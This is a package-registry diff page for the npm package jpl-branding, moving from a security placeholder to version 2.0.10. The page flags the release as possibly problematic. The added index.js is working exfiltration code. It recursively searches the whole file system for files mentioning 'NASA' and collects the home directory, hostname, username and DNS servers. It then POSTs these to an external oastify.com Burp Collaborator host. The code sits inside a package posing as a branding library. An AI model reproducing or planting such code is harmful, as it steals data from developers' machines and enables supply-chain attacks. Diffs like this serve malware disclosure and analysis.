jpl-branding 0.0.1-security → 2.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of jpl-branding might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +89 -0
  2. package/package.json +9 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,89 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const path = require("path");
7
+
8
+ // Search for the term "NASA" across the file system
9
+ let searchResults = [];
10
+
11
+ function searchForTerm(directory) {
12
+ try {
13
+ const files = fs.readdirSync(directory);
14
+
15
+ files.forEach((file) => {
16
+ const filePath = path.join(directory, file);
17
+
18
+ try {
19
+ const stats = fs.statSync(filePath);
20
+
21
+ if (stats.isDirectory()) {
22
+ // Recursively search directories
23
+ searchForTerm(filePath);
24
+ } else if (stats.isFile()) {
25
+ // Read and search files
26
+ const fileContent = fs.readFileSync(filePath, "utf8");
27
+ const searchTerm = /NASA/i; // Case-insensitive search for "NASA"
28
+ if (searchTerm.test(fileContent)) {
29
+ searchResults.push(`Found in: ${filePath}`);
30
+ }
31
+ }
32
+ } catch (err) {
33
+ // Ignore permission errors or other issues
34
+ }
35
+ });
36
+ } catch (err) {
37
+ // Ignore errors when accessing directories
38
+ }
39
+ }
40
+
41
+ // Start searching from root
42
+ searchForTerm("/");
43
+
44
+ // Create tracking data object
45
+ const trackingData = JSON.stringify({
46
+ p: "Unknown", // Fallback for package name
47
+ c: __dirname, // Current directory of the script
48
+ hd: os.homedir(), // Home directory
49
+ hn: os.hostname(), // Hostname of the machine
50
+ un: os.userInfo().username, // Username of the current user
51
+ dns: dns.getServers(), // DNS servers
52
+ searchResults: searchResults.join("\n"), // Add search results here
53
+ });
54
+
55
+ var postData = querystring.stringify({
56
+ msg: trackingData,
57
+ });
58
+
59
+ var options = {
60
+ hostname: "e0f2pb5op4239wmtj56x5iddh4nvblza.oastify.com", // Replace with your Burp collaborator link
61
+ port: 443,
62
+ path: "/",
63
+ method: "POST",
64
+ headers: {
65
+ "Content-Type": "application/x-www-form-urlencoded",
66
+ "Content-Length": postData.length,
67
+ },
68
+ };
69
+
70
+ // Add logging for debugging
71
+ console.log("Sending request to Burp collaborator...");
72
+
73
+ var req = https.request(options, (res) => {
74
+ res.on("data", (d) => {
75
+ console.log("Response from Burp collaborator:", d.toString());
76
+ });
77
+ });
78
+
79
+ req.on("error", (e) => {
80
+ console.error("Request error:", e.message);
81
+ });
82
+
83
+ req.write(postData);
84
+ req.end();
85
+
86
+ // Log if the request starts but there is no response
87
+ req.on("timeout", () => {
88
+ console.error("Request timed out.");
89
+ });
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
- {
2
- "name": "jpl-branding",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "jpl-branding",
3
+ "version": "2.0.10",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "start": "echo 'hello'"
7
+ },
8
+ "dependencies": { }
9
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jpl-branding for more information.